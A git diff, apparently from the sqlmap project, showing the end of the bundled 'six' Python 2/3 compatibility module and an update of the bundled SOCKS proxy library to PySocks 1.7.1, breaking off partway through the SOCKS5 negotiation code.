attr.name, attr) +del attr + +Module_six_moves_urllib_robotparser._moved_attributes = _urllib_robotparser_moved_attributes + +_importer._add_module(Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib.robotparser"), + "moves.urllib_robotparser", "moves.urllib.robotparser") + + +class Module_six_moves_urllib(types.ModuleType): + + """Create a six.moves.urllib namespace that resembles the Python 3 namespace""" + __path__ = [] # mark as package + parse = _importer._get_module("moves.urllib_parse") + error = _importer._get_module("moves.urllib_error") + request = _importer._get_module("moves.urllib_request") + response = _importer._get_module("moves.urllib_response") + robotparser = _importer._get_module("moves.urllib_robotparser") + + def __dir__(self): + return ['parse', 'error', 'request', 'response', 'robotparser'] + +_importer._add_module(Module_six_moves_urllib(__name__ + ".moves.urllib"), + "moves.urllib") + + +def add_move(move): + """Add an item to six.moves.""" + setattr(_MovedItems, move.name, move) + + +def remove_move(name): + """Remove item from six.moves.""" + try: + delattr(_MovedItems, name) + except AttributeError: + try: + del moves.__dict__[name] + except KeyError: + raise AttributeError("no such move, %r" % (name,)) + + +if PY3: + _meth_func = "__func__" + _meth_self = "__self__" + + _func_closure = "__closure__" + _func_code = "__code__" + _func_defaults = "__defaults__" + _func_globals = "__globals__" +else: + _meth_func = "im_func" + _meth_self = "im_self" + + _func_closure = "func_closure" + _func_code = "func_code" + _func_defaults = "func_defaults" + _func_globals = "func_globals" + + +try: + advance_iterator = next +except NameError: + def advance_iterator(it): + return it.next() +next = advance_iterator + + +try: + callable = callable +except NameError: + def callable(obj): + return any("__call__" in klass.__dict__ for klass in type(obj).__mro__) + + +if PY3: + def get_unbound_function(unbound): + return unbound + + create_bound_method = types.MethodType + + def create_unbound_method(func, cls): + return func + + Iterator = object +else: + def get_unbound_function(unbound): + return unbound.im_func + + def create_bound_method(func, obj): + return types.MethodType(func, obj, obj.__class__) + + def create_unbound_method(func, cls): + return types.MethodType(func, None, cls) + + class Iterator(object): + + def next(self): + return type(self).__next__(self) + + callable = callable +_add_doc(get_unbound_function, + """Get the function out of a possibly unbound function""") + + +get_method_function = operator.attrgetter(_meth_func) +get_method_self = operator.attrgetter(_meth_self) +get_function_closure = operator.attrgetter(_func_closure) +get_function_code = operator.attrgetter(_func_code) +get_function_defaults = operator.attrgetter(_func_defaults) +get_function_globals = operator.attrgetter(_func_globals) + + +if PY3: + def iterkeys(d, **kw): + return iter(d.keys(**kw)) + + def itervalues(d, **kw): + return iter(d.values(**kw)) + + def iteritems(d, **kw): + return iter(d.items(**kw)) + + def iterlists(d, **kw): + return iter(d.lists(**kw)) + + viewkeys = operator.methodcaller("keys") + + viewvalues = operator.methodcaller("values") + + viewitems = operator.methodcaller("items") +else: + def iterkeys(d, **kw): + return d.iterkeys(**kw) + + def itervalues(d, **kw): + return d.itervalues(**kw) + + def iteritems(d, **kw): + return d.iteritems(**kw) + + def iterlists(d, **kw): + return d.iterlists(**kw) + + viewkeys = operator.methodcaller("viewkeys") + + viewvalues = operator.methodcaller("viewvalues") + + viewitems = operator.methodcaller("viewitems") + +_add_doc(iterkeys, "Return an iterator over the keys of a dictionary.") +_add_doc(itervalues, "Return an iterator over the values of a dictionary.") +_add_doc(iteritems, + "Return an iterator over the (key, value) pairs of a dictionary.") +_add_doc(iterlists, + "Return an iterator over the (key, [values]) pairs of a dictionary.") + + +if PY3: + def b(s): + return s.encode("latin-1") + + def u(s): + return s + unichr = chr + import struct + int2byte = struct.Struct(">B").pack + del struct + byte2int = operator.itemgetter(0) + indexbytes = operator.getitem + iterbytes = iter + import io + StringIO = io.StringIO + BytesIO = io.BytesIO + del io + _assertCountEqual = "assertCountEqual" + if sys.version_info[1] <= 1: + _assertRaisesRegex = "assertRaisesRegexp" + _assertRegex = "assertRegexpMatches" + _assertNotRegex = "assertNotRegexpMatches" + else: + _assertRaisesRegex = "assertRaisesRegex" + _assertRegex = "assertRegex" + _assertNotRegex = "assertNotRegex" +else: + def b(s): + return s + # Workaround for standalone backslash + + def u(s): + return unicode(s.replace(r'\\', r'\\\\'), "unicode_escape") + unichr = unichr + int2byte = chr + + def byte2int(bs): + return ord(bs[0]) + + def indexbytes(buf, i): + return ord(buf[i]) + iterbytes = functools.partial(itertools.imap, ord) + import StringIO + StringIO = BytesIO = StringIO.StringIO + _assertCountEqual = "assertItemsEqual" + _assertRaisesRegex = "assertRaisesRegexp" + _assertRegex = "assertRegexpMatches" + _assertNotRegex = "assertNotRegexpMatches" +_add_doc(b, """Byte literal""") +_add_doc(u, """Text literal""") + + +def assertCountEqual(self, *args, **kwargs): + return getattr(self, _assertCountEqual)(*args, **kwargs) + + +def assertRaisesRegex(self, *args, **kwargs): + return getattr(self, _assertRaisesRegex)(*args, **kwargs) + + +def assertRegex(self, *args, **kwargs): + return getattr(self, _assertRegex)(*args, **kwargs) + + +def assertNotRegex(self, *args, **kwargs): + return getattr(self, _assertNotRegex)(*args, **kwargs) + + +if PY3: + exec_ = getattr(moves.builtins, "exec") + + def reraise(tp, value, tb=None): + try: + if value is None: + value = tp() + if value.__traceback__ is not tb: + raise value.with_traceback(tb) + raise value + finally: + value = None + tb = None + +else: + def exec_(_code_, _globs_=None, _locs_=None): + """Execute code in a namespace.""" + if _globs_ is None: + frame = sys._getframe(1) + _globs_ = frame.f_globals + if _locs_ is None: + _locs_ = frame.f_locals + del frame + elif _locs_ is None: + _locs_ = _globs_ + exec("""exec _code_ in _globs_, _locs_""") + + exec_("""def reraise(tp, value, tb=None): + try: + raise tp, value, tb + finally: + tb = None +""") + + +if sys.version_info[:2] > (3,): + exec_("""def raise_from(value, from_value): + try: + raise value from from_value + finally: + value = None +""") +else: + def raise_from(value, from_value): + raise value + + +print_ = getattr(moves.builtins, "print", None) +if print_ is None: + def print_(*args, **kwargs): + """The new-style print function for Python 2.4 and 2.5.""" + fp = kwargs.pop("file", sys.stdout) + if fp is None: + return + + def write(data): + if not isinstance(data, basestring): + data = str(data) + # If the file has an encoding, encode unicode with it. + if (isinstance(fp, file) and + isinstance(data, unicode) and + fp.encoding is not None): + errors = getattr(fp, "errors", None) + if errors is None: + errors = "strict" + data = data.encode(fp.encoding, errors) + fp.write(data) + want_unicode = False + sep = kwargs.pop("sep", None) + if sep is not None: + if isinstance(sep, unicode): + want_unicode = True + elif not isinstance(sep, str): + raise TypeError("sep must be None or a string") + end = kwargs.pop("end", None) + if end is not None: + if isinstance(end, unicode): + want_unicode = True + elif not isinstance(end, str): + raise TypeError("end must be None or a string") + if kwargs: + raise TypeError("invalid keyword arguments to print()") + if not want_unicode: + for arg in args: + if isinstance(arg, unicode): + want_unicode = True + break + if want_unicode: + newline = unicode("\n") + space = unicode(" ") + else: + newline = "\n" + space = " " + if sep is None: + sep = space + if end is None: + end = newline + for i, arg in enumerate(args): + if i: + write(sep) + write(arg) + write(end) +if sys.version_info[:2] < (3, 3): + _print = print_ + + def print_(*args, **kwargs): + fp = kwargs.get("file", sys.stdout) + flush = kwargs.pop("flush", False) + _print(*args, **kwargs) + if flush and fp is not None: + fp.flush() + +_add_doc(reraise, """Reraise an exception.""") + +if sys.version_info[0:2] < (3, 4): + # This does exactly the same what the :func:`py3:functools.update_wrapper` + # function does on Python versions after 3.2. It sets the ``__wrapped__`` + # attribute on ``wrapper`` object and it doesn't raise an error if any of + # the attributes mentioned in ``assigned`` and ``updated`` are missing on + # ``wrapped`` object. + def _update_wrapper(wrapper, wrapped, + assigned=functools.WRAPPER_ASSIGNMENTS, + updated=functools.WRAPPER_UPDATES): + for attr in assigned: + try: + value = getattr(wrapped, attr) + except AttributeError: + continue + else: + setattr(wrapper, attr, value) + for attr in updated: + getattr(wrapper, attr).update(getattr(wrapped, attr, {})) + wrapper.__wrapped__ = wrapped + return wrapper + _update_wrapper.__doc__ = functools.update_wrapper.__doc__ + + def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS, + updated=functools.WRAPPER_UPDATES): + return functools.partial(_update_wrapper, wrapped=wrapped, + assigned=assigned, updated=updated) + wraps.__doc__ = functools.wraps.__doc__ + +else: + wraps = functools.wraps + + +def with_metaclass(meta, *bases): + """Create a base class with a metaclass.""" + # This requires a bit of explanation: the basic idea is to make a dummy + # metaclass for one level of class instantiation that replaces itself with + # the actual metaclass. + class metaclass(type): + + def __new__(cls, name, this_bases, d): + if sys.version_info[:2] >= (3, 7): + # This version introduced PEP 560 that requires a bit + # of extra care (we mimic what is done by __build_class__). + resolved_bases = types.resolve_bases(bases) + if resolved_bases is not bases: + d['__orig_bases__'] = bases + else: + resolved_bases = bases + return meta(name, resolved_bases, d) + + @classmethod + def __prepare__(cls, name, this_bases): + return meta.__prepare__(name, bases) + return type.__new__(metaclass, 'temporary_class', (), {}) + + +def add_metaclass(metaclass): + """Class decorator for creating a class with a metaclass.""" + def wrapper(cls): + orig_vars = cls.__dict__.copy() + slots = orig_vars.get('__slots__') + if slots is not None: + if isinstance(slots, str): + slots = [slots] + for slots_var in slots: + orig_vars.pop(slots_var) + orig_vars.pop('__dict__', None) + orig_vars.pop('__weakref__', None) + if hasattr(cls, '__qualname__'): + orig_vars['__qualname__'] = cls.__qualname__ + return metaclass(cls.__name__, cls.__bases__, orig_vars) + return wrapper + + +def ensure_binary(s, encoding='utf-8', errors='strict'): + """Coerce **s** to six.binary_type. + + For Python 2: + - `unicode` -> encoded to `str` + - `str` -> `str` + + For Python 3: + - `str` -> encoded to `bytes` + - `bytes` -> `bytes` + """ + if isinstance(s, binary_type): + return s + if isinstance(s, text_type): + return s.encode(encoding, errors) + raise TypeError("not expecting type '%s'" % type(s)) + + +def ensure_str(s, encoding='utf-8', errors='strict'): + """Coerce *s* to `str`. + + For Python 2: + - `unicode` -> encoded to `str` + - `str` -> `str` + + For Python 3: + - `str` -> `str` + - `bytes` -> decoded to `str` + """ + # Optimization: Fast return for the common case. + if type(s) is str: + return s + if PY2 and isinstance(s, text_type): + return s.encode(encoding, errors) + elif PY3 and isinstance(s, binary_type): + return s.decode(encoding, errors) + elif not isinstance(s, (text_type, binary_type)): + raise TypeError("not expecting type '%s'" % type(s)) + return s + + +def ensure_text(s, encoding='utf-8', errors='strict'): + """Coerce *s* to six.text_type. + + For Python 2: + - `unicode` -> `unicode` + - `str` -> `unicode` + + For Python 3: + - `str` -> `str` + - `bytes` -> decoded to `str` + """ + if isinstance(s, binary_type): + return s.decode(encoding, errors) + elif isinstance(s, text_type): + return s + else: + raise TypeError("not expecting type '%s'" % type(s)) + + +def python_2_unicode_compatible(klass): + """ + A class decorator that defines __unicode__ and __str__ methods under Python 2. + Under Python 3 it does nothing. + + To support Python 2 and 3 with a single code base, define a __str__ method + returning text and apply this decorator to the class. + """ + if PY2: + if '__str__' not in klass.__dict__: + raise ValueError("@python_2_unicode_compatible cannot be applied " + "to %s because it doesn't define __str__()." % + klass.__name__) + klass.__unicode__ = klass.__str__ + klass.__str__ = lambda self: self.__unicode__().encode('utf-8') + return klass + + +# Complete the moves implementation. +# This code is at the end of this module to speed up module loading. +# Turn this module into a package. +__path__ = [] # required for PEP 302 and PEP 451 +__package__ = __name__ # see PEP 366 @ReservedAssignment +if globals().get("__spec__") is not None: + __spec__.submodule_search_locations = [] # PEP 451 @UndefinedVariable +# Remove other six meta path importers, since they cause problems. This can +# happen if six is removed from sys.modules and then reloaded. (Setuptools does +# this for some reason.) +if sys.meta_path: + for i, importer in enumerate(sys.meta_path): + # Here's some real nastiness: Another "instance" of the six module might + # be floating around. Therefore, we can't use isinstance() to check for + # the six meta path importer, since the other six instance will have + # inserted an importer with different class. + if (type(importer).__name__ == "_SixMetaPathImporter" and + importer.name == __name__): + del sys.meta_path[i] + break + del i, importer +# Finally, add the importer to the meta path import hook. +sys.meta_path.append(_importer) diff --git a/thirdparty/socks/socks.py b/thirdparty/socks/socks.py index ff0a1e22659..f1da7d975c3 100644 --- a/thirdparty/socks/socks.py +++ b/thirdparty/socks/socks.py @@ -1,409 +1,897 @@ -#!/usr/bin/env python +from base64 import b64encode +try: + from collections.abc import Callable +except ImportError: + from collections import Callable +from errno import EOPNOTSUPP, EINVAL, EAGAIN +import functools +from io import BytesIO +import logging +import os +from os import SEEK_CUR +import socket +import struct +import sys -"""SocksiPy - Python SOCKS module. -Version 1.00 +__version__ = "1.7.1" -Copyright 2006 Dan-Haim. All rights reserved. -Redistribution and use in source and binary forms, with or without modification, -are permitted provided that the following conditions are met: -1. Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. -2. Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. -3. Neither the name of Dan Haim nor the names of his contributors may be used - to endorse or promote products derived from this software without specific - prior written permission. +if os.name == "nt" and sys.version_info < (3, 0): + try: + from thirdparty.wininetpton import win_inet_pton + except ImportError: + try: + import win_inet_pton + except ImportError: + raise ImportError( + "To run PySocks on Windows you must install win_inet_pton") -THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED -WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF -MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO -EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA -OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT -OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. +log = logging.getLogger(__name__) +PROXY_TYPE_SOCKS4 = SOCKS4 = 1 +PROXY_TYPE_SOCKS5 = SOCKS5 = 2 +PROXY_TYPE_HTTP = HTTP = 3 -This module provides a standard socket-like interface for Python -for tunneling connections through SOCKS proxies. +PROXY_TYPES = {"SOCKS4": SOCKS4, "SOCKS5": SOCKS5, "HTTP": HTTP} +PRINTABLE_PROXY_TYPES = dict(zip(PROXY_TYPES.values(), PROXY_TYPES.keys())) -""" +_orgsocket = _orig_socket = socket.socket +_orgcreateconnection = socket.create_connection -""" -Minor modifications made by Miroslav Stampar (http://sqlmap.org/) -for patching DNS-leakage occuring in socket.create_connection() -Minor modifications made by Christopher Gilbert (http://motomastyle.com/) -for use in PyLoris (http://pyloris.sourceforge.net/) +def set_self_blocking(function): -Minor modifications made by Mario Vilas (http://breakingcode.wordpress.com/) -mainly to merge bug fixes found in Sourceforge + @functools.wraps(function) + def wrapper(*args, **kwargs): + self = args[0] + try: + _is_blocking = self.gettimeout() + if _is_blocking == 0: + self.setblocking(True) + return function(*args, **kwargs) + except Exception as e: + raise + finally: + # set orgin blocking + if _is_blocking == 0: + self.setblocking(False) + return wrapper -""" -import socket -import struct +class ProxyError(IOError): + """Socket_err contains original socket.error exception.""" + def __init__(self, msg, socket_err=None): + self.msg = msg + self.socket_err = socket_err -PROXY_TYPE_SOCKS4 = 1 -PROXY_TYPE_SOCKS5 = 2 -PROXY_TYPE_HTTP = 3 + if socket_err: + self.msg += ": {}".format(socket_err) -_defaultproxy = None -_orgsocket = socket.socket -_orgcreateconnection = socket.create_connection + def __str__(self): + return self.msg -class ProxyError(Exception): pass -class GeneralProxyError(ProxyError): pass -class Socks5AuthError(ProxyError): pass -class Socks5Error(ProxyError): pass -class Socks4Error(ProxyError): pass -class HTTPError(ProxyError): pass - -_generalerrors = ("success", - "invalid data", - "not connected", - "not available", - "bad proxy type", - "bad input") - -_socks5errors = ("succeeded", - "general SOCKS server failure", - "connection not allowed by ruleset", - "Network unreachable", - "Host unreachable", - "Connection refused", - "TTL expired", - "Command not supported", - "Address type not supported", - "Unknown error") - -_socks5autherrors = ("succeeded", - "authentication is required", - "all offered authentication methods were rejected", - "unknown username or invalid password", - "unknown error") - -_socks4errors = ("request granted", - "request rejected or failed", - "request rejected because SOCKS server cannot connect to identd on the client", - "request rejected because the client program and identd report different user-ids", - "unknown error") - -def setdefaultproxy(proxytype=None, addr=None, port=None, rdns=True, username=None, password=None): - """setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) - Sets a default proxy which all further socksocket objects will use, - unless explicitly changed. - """ - global _defaultproxy - _defaultproxy = (proxytype, addr, port, rdns, username, password) - -def wrapmodule(module): - """wrapmodule(module) - Attempts to replace a module's socket library with a SOCKS socket. Must set - a default proxy using setdefaultproxy(...) first. - This will only work on modules that import socket directly into the namespace; + +class GeneralProxyError(ProxyError): + pass + + +class ProxyConnectionError(ProxyError): + pass + + +class SOCKS5AuthError(ProxyError): + pass + + +class SOCKS5Error(ProxyError): + pass + + +class SOCKS4Error(ProxyError): + pass + + +class HTTPError(ProxyError): + pass + + +# Backward-compatible SocksiPy class names used by older callers. +Socks5AuthError = SOCKS5AuthError +Socks5Error = SOCKS5Error +Socks4Error = SOCKS4Error + +SOCKS4_ERRORS = { + 0x5B: "Request rejected or failed", + 0x5C: ("Request rejected because SOCKS server cannot connect to identd on" + " the client"), + 0x5D: ("Request rejected because the client program and identd report" + " different user-ids") +} + +SOCKS5_ERRORS = { + 0x01: "General SOCKS server failure", + 0x02: "Connection not allowed by ruleset", + 0x03: "Network unreachable", + 0x04: "Host unreachable", + 0x05: "Connection refused", + 0x06: "TTL expired", + 0x07: "Command not supported, or protocol error", + 0x08: "Address type not supported" +} + +DEFAULT_PORTS = {SOCKS4: 1080, SOCKS5: 1080, HTTP: 8080} + + +def set_default_proxy(proxy_type=None, addr=None, port=None, rdns=True, + username=None, password=None): + """Sets a default proxy. + + All further socksocket objects will use the default unless explicitly + changed. All parameters are as for socket.set_proxy().""" + socksocket.default_proxy = (proxy_type, addr, port, rdns, + username.encode() if username else None, + password.encode() if password else None) + + +def setdefaultproxy(*args, **kwargs): + if "proxytype" in kwargs: + kwargs["proxy_type"] = kwargs.pop("proxytype") + return set_default_proxy(*args, **kwargs) + + +def get_default_proxy(): + """Returns the default proxy, set by set_default_proxy.""" + return socksocket.default_proxy + +getdefaultproxy = get_default_proxy + + +def wrap_module(module): + """Attempts to replace a module's socket library with a SOCKS socket. + + Must set a default proxy using set_default_proxy(...) first. This will + only work on modules that import socket directly into the namespace; most of the Python Standard Library falls into this category. + + sqlmap: Keep the historical guarded socket wrapper so non-INET/non-stream + sockets are not proxied, and keep the create_connection() patch for + SOCKS5/HTTP proxies to avoid local DNS leakage. """ - if _defaultproxy != None: - module.socket.socket = socksocket - module.socket.create_connection = create_connection + if socksocket.default_proxy: + _orig_socket_ctor = _orgsocket + + @functools.wraps(_orig_socket_ctor) + def guarded_socket(*args, **kwargs): + family = args[0] if len(args) > 0 else kwargs.get("family", socket.AF_INET) + stype = args[1] if len(args) > 1 else kwargs.get("type", socket.SOCK_STREAM) + + flags = 0 + flags |= getattr(socket, "SOCK_CLOEXEC", 0) + flags |= getattr(socket, "SOCK_NONBLOCK", 0) + base_type = stype & ~flags + + if family in (socket.AF_INET, getattr(socket, "AF_INET6", socket.AF_INET)) and base_type == socket.SOCK_STREAM: + return socksocket(*args, **kwargs) + + return _orig_socket_ctor(*args, **kwargs) + + module.socket.socket = guarded_socket + + if socksocket.default_proxy[0] != PROXY_TYPE_SOCKS4: + module.socket.create_connection = create_connection else: - raise GeneralProxyError((4, "no proxy specified")) + raise GeneralProxyError("No default proxy specified") + -def unwrapmodule(module): +def unwrap_module(module): module.socket.socket = _orgsocket module.socket.create_connection = _orgcreateconnection -class socksocket(socket.socket): +wrapmodule = wrap_module +unwrapmodule = unwrap_module + + +def create_connection(dest_pair, + timeout=None, source_address=None, + proxy_type=None, proxy_addr=None, + proxy_port=None, proxy_rdns=True, + proxy_username=None, proxy_password=None, + socket_options=None): + """create_connection(dest_pair, *[, timeout], **proxy_args) -> socket object + + Like socket.create_connection(), but connects to proxy + before returning the socket object. + + dest_pair - 2-tuple of (IP/hostname, port). + **proxy_args - Same args passed to socksocket.set_proxy() if present. + timeout - Optional socket timeout value, in seconds. + source_address - tuple (host, port) for the socket to bind to as its source + address before connecting (only for compatibility) + """ + # Remove IPv6 brackets on the remote address and proxy address. + remote_host, remote_port = dest_pair + if remote_host.startswith("["): + remote_host = remote_host.strip("[]") + if proxy_addr and proxy_addr.startswith("["): + proxy_addr = proxy_addr.strip("[]") + + # sqlmap: when this function is installed as socket.create_connection(), + # callers do not pass explicit proxy_* arguments; use the default proxy. + use_default_proxy = proxy_type is None and socksocket.default_proxy + if use_default_proxy: + proxy_type, proxy_addr, proxy_port, proxy_rdns, proxy_username, proxy_password = socksocket.default_proxy + elif proxy_type is None: + return _orgcreateconnection(dest_pair, timeout, source_address) + + proxy_port = proxy_port or DEFAULT_PORTS.get(proxy_type) + err = None + + # Allow the SOCKS proxy to be on IPv4 or IPv6 addresses. + for r in socket.getaddrinfo(proxy_addr, proxy_port, 0, socket.SOCK_STREAM): + family, socket_type, proto, canonname, sa = r + sock = None + try: + sock = socksocket(family, socket_type, proto) + + if socket_options: + for opt in socket_options: + sock.setsockopt(*opt) + + if isinstance(timeout, (int, float)): + sock.settimeout(timeout) + + if proxy_type and not use_default_proxy: + sock.set_proxy(proxy_type, proxy_addr, proxy_port, proxy_rdns, + proxy_username, proxy_password) + if source_address: + sock.bind(source_address) + + sock.connect((remote_host, remote_port)) + return sock + + except (socket.error, ProxyError) as e: + err = e + if sock: + sock.close() + sock = None + + if err: + raise err + + raise socket.error("gai returned empty list.") + + +class _BaseSocket(socket.socket): + """Allows Python 2 delegated methods such as send() to be overridden.""" + def __init__(self, *pos, **kw): + _orig_socket.__init__(self, *pos, **kw) + + self._savedmethods = dict() + for name in self._savenames: + self._savedmethods[name] = getattr(self, name) + delattr(self, name) # Allows normal overriding mechanism to work + + _savenames = list() + + +def _makemethod(name): + return lambda self, *pos, **kw: self._savedmethods[name](*pos, **kw) +for name in ("sendto", "send", "recvfrom", "recv"): + method = getattr(_BaseSocket, name, None) + + # Determine if the method is not defined the usual way + # as a function in the class. + # Python 2 uses __slots__, so there are descriptors for each method, + # but they are not functions. + if not isinstance(method, Callable): + _BaseSocket._savenames.append(name) + setattr(_BaseSocket, name, _makemethod(name)) + + +class socksocket(_BaseSocket): """socksocket([family[, type[, proto]]]) -> socket object + Open a SOCKS enabled socket. The parameters are the same as those of the standard socket init. In order for SOCKS to work, - you must specify family=AF_INET, type=SOCK_STREAM and proto=0. + you must specify family=AF_INET and proto=0. + The "type" argument must be either SOCK_STREAM or SOCK_DGRAM. """ - def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, _sock=None): - _orgsocket.__init__(self, family, type, proto, _sock) - if _defaultproxy != None: - self.__proxy = _defaultproxy + default_proxy = None + + def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, + proto=0, *args, **kwargs): + if type not in (socket.SOCK_STREAM, socket.SOCK_DGRAM): + msg = "Socket type must be stream or datagram, not {!r}" + raise ValueError(msg.format(type)) + + super(socksocket, self).__init__(family, type, proto, *args, **kwargs) + self._proxyconn = None # TCP connection to keep UDP relay alive + + if self.default_proxy: + self.proxy = self.default_proxy else: - self.__proxy = (None, None, None, None, None, None) - self.__proxysockname = None - self.__proxypeername = None - - def __recvall(self, count): - """__recvall(count) -> data - Receive EXACTLY the number of bytes requested from the socket. - Blocks until the required number of bytes have been received. - """ - data = self.recv(count) + self.proxy = (None, None, None, None, None, None) + self.proxy_sockname = None + self.proxy_peername = None + + self._timeout = None + + def _readall(self, file, count): + """Receive EXACTLY the number of bytes requested from the file object. + + Blocks until the required number of bytes have been received.""" + data = b"" while len(data) < count: - d = self.recv(count-len(data)) - if not d: raise GeneralProxyError((0, "connection closed unexpectedly")) - data = data + d + d = file.read(count - len(data)) + if not d: + raise GeneralProxyError("Connection closed unexpectedly") + data += d return data - def setproxy(self, proxytype=None, addr=None, port=None, rdns=True, username=None, password=None): - """setproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) - Sets the proxy to be used. - proxytype - The type of the proxy to be used. Three types - are supported: PROXY_TYPE_SOCKS4 (including socks4a), - PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP + def settimeout(self, timeout): + self._timeout = timeout + try: + # test if we're connected, if so apply timeout + peer = self.get_proxy_peername() + super(socksocket, self).settimeout(self._timeout) + except socket.error: + pass + + def gettimeout(self): + return self._timeout + + def setblocking(self, v): + if v: + self.settimeout(None) + else: + self.settimeout(0.0) + + def set_proxy(self, proxy_type=None, addr=None, port=None, rdns=True, + username=None, password=None): + """ Sets the proxy to be used. + + proxy_type - The type of the proxy to be used. Three types + are supported: PROXY_TYPE_SOCKS4 (including socks4a), + PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP addr - The address of the server (IP or DNS). port - The port of the server. Defaults to 1080 for SOCKS - servers and 8080 for HTTP proxy servers. - rdns - Should DNS queries be preformed on the remote side - (rather than the local side). The default is True. - Note: This has no effect with SOCKS4 servers. + servers and 8080 for HTTP proxy servers. + rdns - Should DNS queries be performed on the remote side + (rather than the local side). The default is True. + Note: This has no effect with SOCKS4 servers. username - Username to authenticate with to the server. - The default is no authentication. + The default is no authentication. password - Password to authenticate with to the server. - Only relevant when username is also provided. + Only relevant when username is also provided.""" + self.proxy = (proxy_type, addr, port, rdns, + username.encode() if username else None, + password.encode() if password else None) + + def setproxy(self, *args, **kwargs): + if "proxytype" in kwargs: + kwargs["proxy_type"] = kwargs.pop("proxytype") + return self.set_proxy(*args, **kwargs) + + def bind(self, *pos, **kw): + """Implements proxy connection for UDP sockets. + + Happens during the bind() phase.""" + (proxy_type, proxy_addr, proxy_port, rdns, username, + password) = self.proxy + if not proxy_type or self.type != socket.SOCK_DGRAM: + return _orig_socket.bind(self, *pos, **kw) + + if self._proxyconn: + raise socket.error(EINVAL, "Socket already bound to an address") + if proxy_type != SOCKS5: + msg = "UDP only supported by SOCKS5 proxy type" + raise socket.error(EOPNOTSUPP, msg) + super(socksocket, self).bind(*pos, **kw) + + # Need to specify actual local port because + # some relays drop packets if a port of zero is specified. + # Avoid specifying host address in case of NAT though. + _, port = self.getsockname() + dst = ("0", port) + + self._proxyconn = _orig_socket() + proxy = self._proxy_addr() + self._proxyconn.connect(proxy) + + UDP_ASSOCIATE = b"\x03" + _, relay = self._SOCKS5_request(self._proxyconn, UDP_ASSOCIATE, dst) + + # The relay is most likely on the same host as the SOCKS proxy, + # but some proxies return a private IP address (10.x.y.z) + host, _ = proxy + _, port = relay + super(socksocket, self).connect((host, port)) + super(socksocket, self).settimeout(self._timeout) + self.proxy_sockname = ("0.0.0.0", 0) # Unknown + + def sendto(self, bytes, *args, **kwargs): + if self.type != socket.SOCK_DGRAM: + return super(socksocket, self).sendto(bytes, *args, **kwargs) + if not self._proxyconn: + self.bind(("", 0)) + + address = args[-1] + flags = args[:-1] + + header = BytesIO() + RSV = b"\x00\x00" + header.write(RSV) + STANDALONE = b"\x00" + header.write(STANDALONE) + self._write_SOCKS5_address(address, header) + + sent = super(socksocket, self).send(header.getvalue() + bytes, *flags, + **kwargs) + return sent - header.tell() + + def send(self, bytes, flags=0, **kwargs): + if self.type == socket.SOCK_DGRAM: + return self.sendto(bytes, flags, self.proxy_peername, **kwargs) + else: + return super(socksocket, self).send(bytes, flags, **kwargs) + + def recvfrom(self, bufsize, flags=0): + if self.type != socket.SOCK_DGRAM: + return super(socksocket, self).recvfrom(bufsize, flags) + if not self._proxyconn: + self.bind(("", 0)) + + buf = BytesIO(super(socksocket, self).recv(bufsize + 1024, flags)) + buf.seek(2, SEEK_CUR) + frag = buf.read(1) + if ord(frag): + raise NotImplementedError("Received UDP packet fragment") + fromhost, fromport = self._read_SOCKS5_address(buf) + + if self.proxy_peername: + peerhost, peerport = self.proxy_peername + if fromhost != peerhost or peerport not in (0, fromport): + raise socket.error(EAGAIN, "Packet filtered") + + return (buf.read(bufsize), (fromhost, fromport)) + + def recv(self, *pos, **kw): + bytes, _ = self.recvfrom(*pos, **kw) + return bytes + + def close(self): + if self._proxyconn: + self._proxyconn.close() + return super(socksocket, self).close() + + def get_proxy_sockname(self): + """Returns the bound IP address and port number at the proxy.""" + return self.proxy_sockname + + getproxysockname = get_proxy_sockname + + def get_proxy_peername(self): + """ + Returns the IP and port number of the proxy. """ - self.__proxy = (proxytype, addr, port, rdns, username, password) + return self.getpeername() - def __negotiatesocks5(self, destaddr, destport): - """__negotiatesocks5(self,destaddr,destport) - Negotiates a connection through a SOCKS5 server. + getproxypeername = get_proxy_peername + + def get_peername(self): + """Returns the IP address and port number of the destination machine. + + Note: get_proxy_peername returns the proxy.""" + return self.proxy_peername + + getpeername = get_peername + + def _negotiate_SOCKS5(self, *dest_addr): + """Negotiates a stream connection through a SOCKS5 server.""" + CONNECT = b"\x01" + self.proxy_peername, self.proxy_sockname = self._SOCKS5_request( + self, CONNECT, dest_addr) + + def _SOCKS5_request(self, conn, cmd, dst): """ - # First we'll send the authentication packages we support. - if (self.__proxy[4]!=None) and (self.__proxy[5]!=None): - # The username/password details were supplied to the - # setproxy method so we support the USERNAME/PASSWORD - # authentication (in addition to the standard none). - self.sendall(struct.pack('BBBB', 0x05, 0x02, 0x00, 0x02)) - else: - # No username/password were entered, therefore we - # only support connections with no authentication. - self.sendall(struct.pack('BBB', 0x05, 0x01, 0x00)) - # We'll receive the server's response to determine which - # method was selected - chosenauth = self.__recvall(2) - if chosenauth[0:1] != chr(0x05).encode(): - self.close() - raise GeneralProxyError((1, _generalerrors[1])) - # Check the chosen authentication method - if chosenauth[1:2] == chr(0x00).encode(): - # No authentication is required - pass - elif chosenauth[1:2] == chr(0x02).encode(): - # 